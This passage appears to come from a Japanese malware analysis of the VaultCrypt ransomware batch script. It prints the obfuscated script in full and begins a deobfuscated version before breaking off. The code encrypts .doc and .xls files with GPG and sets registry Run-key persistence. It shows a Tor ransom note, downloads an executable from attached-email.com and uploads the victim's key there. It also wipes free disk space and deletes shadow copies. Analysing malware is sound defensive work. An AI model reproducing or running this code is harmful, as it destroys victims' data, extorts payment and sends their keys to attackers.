"%temp%\VAULT.txt" echo ChAwuchep3EdRetR7CHUkebrUfRat5cu >nul echo zuphuru3T7w4amEdr8wuzu3ucEfuvupr >nul echo bUbad3evac2ecRePUKAmebr77uCUG2br >nul echo.>> "%temp%\VAULT.txt" echo >> "%temp%\VAULT.txt" echo 1.    ->> "%temp%\VAULT.txt" echo ChAwuchep3EdRetR7CHUkebrUfRat5cu >nul echo zuphuru3T7w4amEdr8wuzu3ucEfuvupr >nul echo bUbad3evac2ecRePUKAmebr77uCUG2br >nul echo 2.    >> "%temp%\VAULT.txt" echo ChAwuchep3EdRetR7CHUkebrUfRat5cu >nul echo zuphuru3T7w4amEdr8wuzu3ucEfuvupr >nul echo bUbad3evac2ecRePUKAmebr77uCUG2br >nul echo 3.     >> "%temp%\VAULT.txt" echo.>> "%temp%\VAULT.txt" echo ChAwuchep3EdRetR7CHUkebrUfRat5cu >nul echo zuphuru3T7w4amEdr8wuzu3ucEfuvupr >nul echo bUbad3evac2ecRePUKAmebr77uCUG2br >nul echo >> "%temp%\VAULT.txt" echo ChAwuchep3EdRetR7CHUkebrUfRat5cu >nul echo zuphuru3T7w4amEdr8wuzu3ucEfuvupr >nul echo bUbad3evac2ecRePUKAmebr77uCUG2br >nul echo  1:>> "%temp%\VAULT.txt" echo  Tor    : http://torproject.org>> "%temp%\VAULT.txt" echo ChAwuchep3EdRetR7CHUkebrUfRat5cu >nul echo zuphuru3T7w4amEdr8wuzu3ucEfuvupr >nul echo bUbad3evac2ecRePUKAmebr77uCUG2br >nul echo  2:>> "%temp%\VAULT.txt" echo  Tor   : http://restoredz4xpmuqr.onion>> "%temp%\VAULT.txt" echo  3:>> "%temp%\VAULT.txt" echo WabrUswUrafuThezUzusw6gEgephubAS >nul echo 6AnutaprUstura2echaNu7wujEbrusp5 >nul echo    VAULT.KEY   -      -.   >> "%temp%\VAULT.txt" echo WabrUswUrafuThezUzusw6gEgephubAS >nul echo 6AnutaprUstura2echaNu7wujEbrusp5 >nul echo      VAULT.KEY>> "%temp%\VAULT.txt" echo    FAQ     >> "%temp%\VAULT.txt" echo STEP 4:>> "%temp%\VAULT.txt" echo WabrUswUrafuThezUzusw6gEgephubAS >nul echo 6AnutaprUstura2echaNu7wujEbrusp5 >nul echo   ,                 >> "%temp%\VAULT.txt" echo.>> "%temp%\VAULT.txt" echo >> "%temp%\VAULT.txt" echo WabrUswUrafuThezUzusw6gEgephubAS >nul echo 6AnutaprUstura2echaNu7wujEbrusp5 >nul echo a^)         ^(     ^)>> "%temp%\VAULT.txt" echo b^)       VAULT.KEY,     TEMP >> "%temp%\VAULT.txt" echo WabrUswUrafuThezUzusw6gEgephubAS >nul echo 6AnutaprUstura2echaNu7wujEbrusp5 >nul echo c^)     ,   >> "%temp%\VAULT.txt" echo.>> "%temp%\VAULT.txt" echo WabrUswUrafuThezUzusw6gEgephubAS >nul echo 6AnutaprUstura2echaNu7wujEbrusp5 >nul echo  : %date% ^(%time:~0,5%^)>> "%temp%\VAULT.txt" copy /y "%temp%\VAULT.txt" "%userprofile%\Desktop\vault.txt" attrib +h "%userprofile%\Desktop\vault.txt" echo WabrUswUrafuThezUzusw6gEgephubAS >nul echo CNKM5uZisBFr8E8ZvA92aYEyCErjpEnbT3MtueqFD3AJPcEcrb echo RobfE3bEJP9vMkgaekFEjsqvlEaHscq14JcFSZlrQyjrKNyTge echo 6AnutaprUstura2echaNu7wujEbrusp5 >nul echo var cdp="%%TeMp%%\\4c2e533d.cmd";var WshShell=CreateObject("WScript.Shell");cdp=WshShell.ExpandEnvironmentStrings(cdp);function CreateObject(fq){return new ActiveXObject(fq)}function xx(cdp){WshShell.Run(cdp,0,0);}xx(''+cdp+'');>> "%temp%\e33176c1.js" echo WabrUswUrafuThezUzusw6gEgephubAS >nul echo 6AnutaprUstura2echaNu7wujEbrusp5 >nul "%TEMP%\gpg.exe" --import "%TEMP%\pubring.gpg" echo WabrUswUrafuThezUzusw6gEgephubAS >nul echo 6AnutaprUstura2echaNu7wujEbrusp5 >nul reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "e1a04a3c" /t REG_SZ /f /d "notepad %temp%\VAULT.txt" echo jeg3pHEnaphEcrasTaFREstAkAc5uXEw >nul echo 8resWe46Dra2ejed5EgefracraVUweth >nul reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ed3f074a" /t REG_SZ /f /d "attrib -h %userprofile%\Desktop\vault.txt" echo jeg3pHEnaphEcrasTaFREstAkAc5uXEw >nul echo 8resWe46Dra2ejed5EgefracraVUweth >nul reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "58f139df" /t REG_SZ /f /d "wscript //B //Nologo %temp%\e33176c1.js" call "%temp%\4c2e533d.cmd" echo jeg3pHEnaphEcrasTaFREstAkAc5uXEw >nul echo 8resWe46Dra2ejed5EgefracraVUweth >nul echo ^<html^>^<head^>^<hta:application BORDER = "none" CAPTION = "No" CONTEXTMENU = "Yes" INNERBORDER = "No" MAXIMIZEBUTTON = "No" MINIMIZEBUTTON = "No" NAVIGABLE = "No" SCROLL = "No" SCROLLFLAT = "No" SELECTION = "Yes" SHOWINTASKBAR = "No" SINGLEINSTANCE = "Yes" SYSMENU = "No"/^>^<style^>body{cursor:default;background-color:#E7E7E7;margin:0;font-family:"HelveticaNeue-Light","Helvetica Neue Light","Helvetica Neue",Helvetica,Arial,sans-serif;text-align:center;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABoAAAAaAgMAAADUJKRdAAAACVBMVEXs7Ozv7+/6+vqH/Ct2AAAAW0lEQVQI11WOsQ2DABADv8gAGQFd4SJTZARGQC5cMBX1T0mD4ClP9lmutf71qW/t3d19VBLDcrNR7KV+F4Mx28OKyMzf/UDINvYADR9A08cwfcnjDwmarOBn7wSqEUpFZuJdBQAAAABJRU5ErkJggg==)}.vaustyle{margin:10px;height:520px;width:1100px}.sc{margin:10px 150px;font-size:40px;width:900px;padding:20px;background-color:#7a7a7a;color:#FF4C4C;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAJ0lEQVR42mXMsQkAAAzDMH+S/69M6VAoeAgGDQFIW/4QQARbwaF+B3+SPGAo8blgAAAAAElFTkSuQmCC)}.briefly{position:absolute;left:50px;width:480px}.detailed{display:inline-block;margin-left:530px;width:660px}.bti{background-color:#DFDFDF;color:#555;font-size:28px;padding:10px}hr{width:90%%}.sced{margin-top:15px;text-align:center;font-size:27px;height:220px;padding:20px;background-color:#6a6a6a;line-height:1.5;color:#EAEAEA;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAJ0lEQVR42mXMsQkAAAzDMH+S/69M6VAoeAgGDQFIW/4QQARbwaF+B3+SPGAo8blgAAAAAElFTkSuQmCC)}form{display:inline}.dbutt{margin-left:2px;font-size:16px;font-weight:500;border:none;background-color:#9f9f9f;color:#EEE;cursor:pointer}.footer{text-align:left;position:relative;width:600px;margin:2px 2px 2px 45px;height:16px;font-size:15px;background-color:#CFCFCF;color:#444;padding:6px}.fnl{font-size:21px}^</style^>^<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/^>^<title^>Vault Notification^</title^>^<script language="vbscript"^>> "%temp%\ddae25beb5b57d6e.hta" echo jeg3pHEnaphEcrasTaFREstAkAc5uXEw >nul echo 8resWe46Dra2ejed5EgefracraVUweth >nul echo sub Window_Onload>> "%temp%\ddae25beb5b57d6e.hta" echo window.resizeTo 1280,725>> "%temp%\ddae25beb5b57d6e.hta" echo jeg3pHEnaphEcrasTaFREstAkAc5uXEw >nul echo 8resWe46Dra2ejed5EgefracraVUweth >nul echo screenWidth = Document.ParentWindow.Screen.AvailWidth>> "%temp%\ddae25beb5b57d6e.hta" echo screenHeight = Document.ParentWindow.Screen.AvailHeight>> "%temp%\ddae25beb5b57d6e.hta" echo jeg3pHEnaphEcrasTaFREstAkAc5uXEw >nul echo 8resWe46Dra2ejed5EgefracraVUweth >nul echo posLeft = (screenWidth - 1280) / 2 >> "%temp%\ddae25beb5b57d6e.hta" echo posTop = (screenHeight - 725) / 2 >> "%temp%\ddae25beb5b57d6e.hta" echo window.moveTo posLeft, posTop >> "%temp%\ddae25beb5b57d6e.hta" echo end sub >> "%temp%\ddae25beb5b57d6e.hta" echo jeg3pHEnaphEcrasTaFREstAkAc5uXEw >nul echo 8resWe46Dra2ejed5EgefracraVUweth >nul echo ^</script^>^</head^>^<body scroll="no"^>^<div class="vaustyle"^>^<div class="sc"^>         ^<br^>^☢^ ^<b^> .VAULT^</b^>^ ^☢^</div^>^<div class="sc" style="font-size:20px;width:800px;margin-left:200px;color:#EAEAEA;"^>     ^<b^> ^</b^>^</div^>^<br^>^<div class="briefly"^>^<div class="bti"^>^<b^>:^</b^>^</div^>^<div class="sced"^>  3 :^<hr^> ^➠    -^<br^> ^Ⓑ   ^<br^>^⤷ ^<b^> ^</b^>^</div^>^</div^>^<div class="detailed"^>^<div class="bti"^>^<b^>:^</b^>^</div^>^<div class="sced"^> ^<b^>Tor^</b^>   .  ^<form action="http://dist.torproject.org/torbrowser/4.5.2/torbrowser-install-4.5.2_ru.exe"^>^<input class="dbutt" type="submit" value="⇣ "^>^</form^>^<form action="https://www.torproject.org/projects/torbrowser.html.en#windows"^>^<input class="dbutt" type="submit" value="Help" style="padding-bottom:1px;"^>^</form^>^<hr^>    ^<b^> Tor^</b^>:^<br^>^<div class="bti" style="margin:1px 8%%;padding:0px;cursor:text;"^>http://restoredz4xpmuqr.onion^</div^>^<form action="http://pastebin.com/rs7jZ0TW"^>^<input class="dbutt" type="submit" value=" ?"^>^ ^⤴^</form^>^<hr^>^<div class="fnl"^> ^ ^➤^  ^<b^> ^</b^> ^ ^➤^  ^</div^>^</div^>^<div class="footer"^>^<b^>Note 1:^</b^>        .^</div^>^<div class="footer"^>^<b^>Note 2:^</b^>  ,  ^<u^>^</u^>   ^<b^>VAULT.KEY^</b^>  .^</div^>^<div class="footer"^>^<b^>Note 3:       ^</div^>^</div^>^</body^>^</html^>>> "%temp%\ddae25beb5b57d6e.hta" echo jeg3pHEnaphEcrasTaFREstAkAc5uXEw >nul echo 8resWe46Dra2ejed5EgefracraVUweth >nul copy /y "%temp%\ddae25beb5b57d6e.hta" "%appdata%\ddae25beb5b57d6e.hta" echo jeg3pHEnaphEcrasTaFREstAkAc5uXEw >nul echo 8resWe46Dra2ejed5EgefracraVUweth >nul del /f /q "%temp%\4c2e533d.cmd" attrib +h "%appdata%\ddae25beb5b57d6e.hta" attrib +r +s "%temp%\VAULT.KEY" echo jeg3pHEnaphEcrasTaFREstAkAc5uXEw >nul echo 8resWe46Dra2ejed5EgefracraVUweth >nul attrib +r +s "%appdata%\VAULT.KEY" attrib +r +s "%userprofile%\Desktop\VAULT.KEY" :6d0f24b8 echo do_vbsUpload > "%temp%\77406a1e.vbs" echo Sub do_vbsUpload^(^) >> "%temp%\77406a1e.vbs" echo Dim FileName,DestURL,FieldName >> "%temp%\77406a1e.vbs" echo jeg3pHEnaphEcrasTaFREstAkAc5uXEw >nul echo 8resWe46Dra2ejed5EgefracraVUweth >nul echo FieldName="FileField" >> "%temp%\77406a1e.vbs" echo Dim aCounter,Arg >> "%temp%\77406a1e.vbs" echo aCounter=1 >> "%temp%\77406a1e.vbs" echo For Each Arg In WScript.Arguments >> "%temp%\77406a1e.vbs" echo Select Case aCounter >> "%temp%\77406a1e.vbs" echo Case 1: FileName=Arg >> "%temp%\77406a1e.vbs" echo jeg3pHEnaphEcrasTaFREstAkAc5uXEw >nul echo 8resWe46Dra2ejed5EgefracraVUweth >nul echo Case 2: DestURL=Arg >> "%temp%\77406a1e.vbs" echo Case 3: FieldName=Arg >> "%temp%\77406a1e.vbs" echo End Select >> "%temp%\77406a1e.vbs" echo aCounter=aCounter+1 >> "%temp%\77406a1e.vbs" echo Next >> "%temp%\77406a1e.vbs" echo jeg3pHEnaphEcrasTaFREstAkAc5uXEw >nul echo 8resWe46Dra2ejed5EgefracraVUweth >nul echo UploadFile DestURL,FileName,FieldName >> "%temp%\77406a1e.vbs" echo End Sub >> "%temp%\77406a1e.vbs" echo Sub UploadFile^(DestURL,FileName,FieldName^) >> "%temp%\77406a1e.vbs" echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul echo Const Boundary="---------------------------0123456789012" >> "%temp%\77406a1e.vbs" echo Dim FileContents,FormData >> "%temp%\77406a1e.vbs" echo FileContents=GetFile^(FileName^) >> "%temp%\77406a1e.vbs" echo FormData=BuildFormData^(FileContents,Boundary,FileName,FieldName^) >> "%temp%\77406a1e.vbs" echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul echo IEPostBinaryRequest DestURL,FormData,Boundary >> "%temp%\77406a1e.vbs" echo End Sub >> "%temp%\77406a1e.vbs" echo Function BuildFormData^(FileContents,Boundary,FileName,FieldName^) >> "%temp%\77406a1e.vbs" echo Dim FormData,Pre,Po >> "%temp%\77406a1e.vbs" echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul echo Const ContentType="application/upload" >> "%temp%\77406a1e.vbs" echo Pre="--"+Boundary+vbCrLf+mpFields^(FieldName,FileName,ContentType^) >> "%temp%\77406a1e.vbs" echo Po=vbCrLf+"--"+Boundary+"--"+vbCrLf >> "%temp%\77406a1e.vbs" echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul echo Const adLongVarBinary=205 >> "%temp%\77406a1e.vbs" echo Dim RS: Set RS=CreateObject^("ADODB.Recordset"^) >> "%temp%\77406a1e.vbs" echo RS.Fields.Append "b",adLongVarBinary,Len^(Pre^)+LenB^(FileContents^)+Len^(Po^) >> "%temp%\77406a1e.vbs" echo RS.Open >> "%temp%\77406a1e.vbs" echo RS.AddNew >> "%temp%\77406a1e.vbs" echo Dim LenData >> "%temp%\77406a1e.vbs" echo LenData=Len^(Pre^) >> "%temp%\77406a1e.vbs" echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul echo RS^("b"^).AppendChunk^(StringToMB^(Pre^) ^& ChrB^(0^)^) >> "%temp%\77406a1e.vbs" echo Pre=RS^("b"^).GetChunk^(LenData^) >> "%temp%\77406a1e.vbs" echo RS^("b"^)="" >> "%temp%\77406a1e.vbs" echo LenData=Len^(Po^) >> "%temp%\77406a1e.vbs" echo RS^("b"^).AppendChunk^(StringToMB^(Po^) ^& ChrB^(0^)^) >> "%temp%\77406a1e.vbs" echo Po=RS^("b"^).GetChunk^(LenData^) >> "%temp%\77406a1e.vbs" echo RS^("b"^)="" >> "%temp%\77406a1e.vbs" echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul echo RS^("b"^).AppendChunk^(Pre^) >> "%temp%\77406a1e.vbs" echo RS^("b"^).AppendChunk^(FileContents^) >> "%temp%\77406a1e.vbs" echo RS^("b"^).AppendChunk^(Po^) >> "%temp%\77406a1e.vbs" echo RS.Update >> "%temp%\77406a1e.vbs" echo FormData=RS^("b"^) >> "%temp%\77406a1e.vbs" echo RS.Close >> "%temp%\77406a1e.vbs" echo BuildFormData=FormData >> "%temp%\77406a1e.vbs" echo End Function >> "%temp%\77406a1e.vbs" echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul echo Function IEPostBinaryRequest^(URL,FormData,Boundary^) >> "%temp%\77406a1e.vbs" echo Dim IE: Set IE=CreateObject^("InternetExplorer.Application"^) >> "%temp%\77406a1e.vbs" echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul echo CNKM5uZisBFr8E8ZvA92aYEyCErjpEnbT3MtueqFD3AJPcEcrb echo RobfE3bEJP9vMkgaekFEjsqvlEaHscq14JcFSZlrQyjrKNyTge echo IE.Navigate URL,,,FormData,_ >> "%temp%\77406a1e.vbs" echo "Content-Type: multipart/form-data; boundary="+Boundary+vbCrLf >> "%temp%\77406a1e.vbs" echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul echo do While IE.Busy >> "%temp%\77406a1e.vbs" echo Wait >> "%temp%\77406a1e.vbs" echo Loop >> "%temp%\77406a1e.vbs" echo On Error Resume Next >> "%temp%\77406a1e.vbs" echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul echo IEPostBinaryRequest=IE.Document.body.innerHTML >> "%temp%\77406a1e.vbs" echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul echo IE.Quit >> "%temp%\77406a1e.vbs" echo End Function >> "%temp%\77406a1e.vbs" echo Function mpFields^(FieldName,FileName,ContentType^) >> "%temp%\77406a1e.vbs" echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul echo Dim MPtemplate >> "%temp%\77406a1e.vbs" echo MPtemplate="Content-Disposition: form-data; name=""{field}"";"+_ >> "%temp%\77406a1e.vbs" echo " filename=""{file}"""+vbCrLf+_ >> "%temp%\77406a1e.vbs" echo "Content-Type: {ct}"+vbCrLf+vbCrLf >> "%temp%\77406a1e.vbs" echo Dim Out >> "%temp%\77406a1e.vbs" echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul echo Out=Replace^(MPtemplate,"{field}",FieldName^) >> "%temp%\77406a1e.vbs" echo Out=Replace^(Out,"{file}",FileName^) >> "%temp%\77406a1e.vbs" echo mpFields=Replace^(Out,"{ct}",ContentType^) >> "%temp%\77406a1e.vbs" echo End Function >> "%temp%\77406a1e.vbs" echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul echo Function GetFile^(FileName^) >> "%temp%\77406a1e.vbs" echo Dim Stream: Set Stream=CreateObject^("ADODB.Stream"^) >> "%temp%\77406a1e.vbs" echo Stream.Type=1 >> "%temp%\77406a1e.vbs" echo Stream.Open >> "%temp%\77406a1e.vbs" echo Stream.LoadFromFile FileName >> "%temp%\77406a1e.vbs" echo GetFile=Stream.Read >> "%temp%\77406a1e.vbs" echo Stream.Close >> "%temp%\77406a1e.vbs" echo End Function >> "%temp%\77406a1e.vbs" echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul echo Function StringToMB^(S^) >> "%temp%\77406a1e.vbs" echo Dim I,B >> "%temp%\77406a1e.vbs" echo For I=1 To Len^(S^) >> "%temp%\77406a1e.vbs" echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul echo B=B ^& ChrB^(Asc^(Mid^(S,I,1^)^)^) >> "%temp%\77406a1e.vbs" echo Next >> "%temp%\77406a1e.vbs" echo StringToMB=B >> "%temp%\77406a1e.vbs" echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul echo End Function >> "%temp%\77406a1e.vbs" echo Sub Wait^(^) >> "%temp%\77406a1e.vbs" echo On Error Resume Next >> "%temp%\77406a1e.vbs" echo End Sub >> "%temp%\77406a1e.vbs" echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul echo var fp="%%temp%%\\",os="attached-email",WshShell=CreateObject^("WScript.Shell"^),fp=WshShell.ExpandEnvironmentStrings^(fp^);function CreateObject^(b^){return new ActiveXObject^(b^)}function dw^(b,d^){var c=new ActiveXObject^("MSXML2.XMLHTTP"^);c.open^("GET",b,0^);c.send^(^);new ActiveXObject^("Scripting.FileSystemObject"^);var a=new ActiveXObject^("ADODB.Stream"^);a.Open^(^);a.Type=1;a.Write^(c.ResponseBody^);a.Position=0;a.SaveToFile^(d,2^);a.Close^(^)}dw^("http://"+os+".com/v.vlt",""+fp+"30cb056a.exe"^); > "%temp%\885873e9.js" echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul wscript.exe //B //Nologo //T:120 "%temp%\885873e9.js" echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul if exist 30cb056a.exe ( "%temp%\30cb056a.exe" -f "%temp%\91c09c60.25ca7a7c" echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul wscript.exe //B //Nologo //T:120 "%temp%\77406a1e.vbs" "%temp%\91c09c60.25ca7a7c" http://attached-email.com/v.php pf del /f /q 30cb056a.exe ) del /f /q "%temp%\885873e9.js" del /f /q "%temp%\77406a1e.vbs" del /f /q "%temp%\91c09c60.25ca7a7c" echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul attrib -h -s "%temp%\9480bf43.76a94786" echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul del /f /q "%temp%\9480bf43.76a94786" echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul del /f /q "%temp%\*.gpg" del /f /q "%temp%\*.*xe" echo Y|assoc .vault=d21f132a echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul echo Y|ftype "d21f132a"=mshta.exe vbscript:Execute^(^"msgbox ^"^" BLOCK:^"^"^&vbNewLine^&^"^" %%1^"^"^&vbNewLine^&vbNewLine^&ChrW^(10139^)^&^"^" KEY PURCHASE: http://restoredz4xpmuqr.onion^"^"^&vbNewLine^&vbNewLine^&^"^" [accessible only via Tor Browser: http://torproject.org]^"^",16,^"^"VaultCrypt [Need to purchase key]^"^":close^"^) echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul echo Y|assoc "d21f132a"\DefaultIcon=%SystemRoot%\System32\shell32.dll,-48 reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "b320494e" /t REG_SZ /f /d "mshta %appdata%\ddae25beb5b57d6e.hta" echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "e1a04a3c" /f del /f /q "%temp%\e33176c1.js" echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "58f139df" /f reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ed3f074a" /f start mshta "%temp%\ddae25beb5b57d6e.hta" attrib -s -h "%temp%\9480bf43.76a94786" echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul del /f /q "%temp%\9480bf43.76a94786" if exist "%systemroot%\system32\cipher.exe" ( FOR %%s IN (ABCDEFGHIJKLMNOPQRSTU VWXYZ) DO call :461cd8b8 %%s goto 3c5d9ac8 echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul :461cd8b8 cipher /w:%1: goto:eof :3c5d9ac8 echo 871c371d ) del /f /q %0 echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul :871c371d echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul
      
      





ファイル内には、フォームの多くの行があります



 echo ... > nul
      
      





そして



 echo ...
      
      





これらは本質的に空のステートメントであり、どこでも使用されていません。



もう一度、テキストエディタ開い出現するすべての正規表現^echo [a-zA-Z0-9]+ >nul\n



を何もない(空の文字列)に置き換えますそして、正規表現のすべての出現を何も置き換えません^echo [a-zA-Z0-9]+\n







多少混乱することのないコードを取得します。



正の440行:
 @ECHO OFF SetLocal EnableDelayedExpansion cd "%TEMP%" if not exist "%temp%\9480bf43.76a94786" ( echo 871c371d > "%temp%\9480bf43.76a94786" attrib +s +h "%temp%\9480bf43.76a94786" ) else ( goto 871c371d ) rename "%temp%\design.css" "gpg.exe" copy /y "%temp%\design.css" "%temp%\gpg.exe" del /f /q "%temp%\design.css" chcp 866 set 715c7be3=!RANDOM! set b67b5d00=!RANDOM! set dc841a88=!RANDOM! set db5a2d8a=!RANDOM! set ee1f189d=!RANDOM! set 2162ea2b=!RANDOM! set 58d179b8=!RANDOM! set 3d645b52=RU if exist "%APPDATA%\gnupg" RENAME "%APPDATA%\gnupg" gnupg_%random% echo Key-Type: RSA> "%temp%\9c668934.2ca1046c" echo Key-Length: 1024>> "%temp%\9c668934.2ca1046c" echo Name-Real: Cellar>> "%temp%\9c668934.2ca1046c" "%temp%\gpg.exe" --batch --homedir "%temp%" --gen-key "%temp%\9c668934.2ca1046c" echo -----BEGIN PGP PUBLIC KEY BLOCK-----> "%temp%\03dfb98e.7087b06e" echo Version: GnuPG v1>> "%temp%\03dfb98e.7087b06e" echo.>> "%temp%\03dfb98e.7087b06e" echo mI0EVbFePwEEAMM+eRmPkcVTTwqLOyCkSlOTDjfnJpU2vTt94yMq1c1Ix1RF2fxp>> "%temp%\03dfb98e.7087b06e" echo S9ZDuQ9qfhqUxXiUtsEY7kB1pHtcyCeqtdrYST4YzJTeNCZNTiq2mVkQlPXqcvO/>> "%temp%\03dfb98e.7087b06e" echo hXpyYH/DNB6XmdQP9rmb/gIb5qHpRNoWlb1MBDZAJnHU3PEA2LcXbBX/ABEBAAG0>> "%temp%\03dfb98e.7087b06e" echo ClZhdWx0Q3J5cHSIuAQTAQIAIgUCVbFePwIbLwYLCQgHAwIGFQgCCQoLBBYCAwEC>> "%temp%\03dfb98e.7087b06e" echo HgECF4AACgkQ+Zg2Eii5y+eiQQQAm9r0sfXO5pp4/yy6lJG+zZAiijgzECVAQvw9>> "%temp%\03dfb98e.7087b06e" echo j+JE6n7mZnZDm632PrLumTHE9PauifXmyTFf0RPUI/D5B8QFPQn9hoNf041aaEgq>> "%temp%\03dfb98e.7087b06e" echo bTQSy7TIwZJfTyZyq/yhJiH0RLI7yhj/88sjX+uu7miGHO9jb1ygTo/qe5n3Q/Vp>> "%temp%\03dfb98e.7087b06e" echo xpSJJFU=>> "%temp%\03dfb98e.7087b06e" echo =CuiR>> "%temp%\03dfb98e.7087b06e" echo -----END PGP PUBLIC KEY BLOCK----->> "%temp%\03dfb98e.7087b06e" "%temp%\gpg.exe" -r Cellar --export-secret-keys --yes --homedir "%temp%" -a> "%temp%\3637bf69.36ddf8fe" del /f /q "%temp%\9c668934.2ca1046c" echo.>> "%temp%\3637bf69.36ddf8fe" echo BDATE: !DATE!>> "%temp%\3637bf69.36ddf8fe" echo UNAME: !USERNAME!>> "%temp%\3637bf69.36ddf8fe" echo CNAME: !COMPUTERNAME!>> "%temp%\3637bf69.36ddf8fe" echo PQQID: AKG-4813>> "%temp%\3637bf69.36ddf8fe" echo ULANG: !3d645b52!>> "%temp%\3637bf69.36ddf8fe" echo 01HSH: !715c7be3!>> "%temp%\3637bf69.36ddf8fe" echo 02HSH: !b67b5d00!>> "%temp%\3637bf69.36ddf8fe" echo 03HSH: !db5a2d8a!>> "%temp%\3637bf69.36ddf8fe" echo 04HSH: !dc841a88!>> "%temp%\3637bf69.36ddf8fe" echo 05HSH: !ee1f189d!>> "%temp%\3637bf69.36ddf8fe" echo FHASH: !2162ea2b!>> "%temp%\3637bf69.36ddf8fe" echo chcp 866 > "%temp%\61231f25.9db8b89a" FOR %%f IN (ABCDEFGHIJKLMNOPQRSTU VWXYZ) DO call :1010f32d %%f echo if exist "%%TeMp%%\VAULT.KEY" echo 01FNSH-OK^>^> "%%TeMp%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a" echo if exist "%%AppDATA%%\VAULT.KEY" echo 01FNSH-OK^>^> "%%AppDATA%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a" echo if exist "%%USERPROFILE%%\Desktop\VAULT.KEY" echo 01FNSH-OK^>^> "%%USERPROFILE%%\Desktop\VAULT.KEY">> "%temp%\61231f25.9db8b89a" goto 441f5342 :1010f32d dir /B "%1:\"&& for /r "%1:\" %%i in (*.xls *.doc) do ( echo "%%TeMp%%\gpg.exe" -r Cellar --yes -q --no-verbose --trust-model always --encrypt-files "%%i"^& move /y "%%i.gpg" "%%i"^& RENAME "%%i" "%%~nxi.vault">> "%temp%\61231f25.9db8b89a" echo %%i>> "%temp%\21b0fb7b.7ca0ec0c" ) goto:eof :441f5342 echo Set objShell = CreateObject^("Shell.Application"^) > "%temp%\59665d79.vbs" echo Set objWshShell = WScript.CreateObject^("WScript.Shell"^) >> "%temp%\59665d79.vbs" echo Set objWshProcessEnv = objWshShell.Environment^("PROCESS"^) >> "%temp%\59665d79.vbs" echo objShell.ShellExecute "wmic.exe", "shadowcopy delete /nointeractive", "", "runas", 0 >> 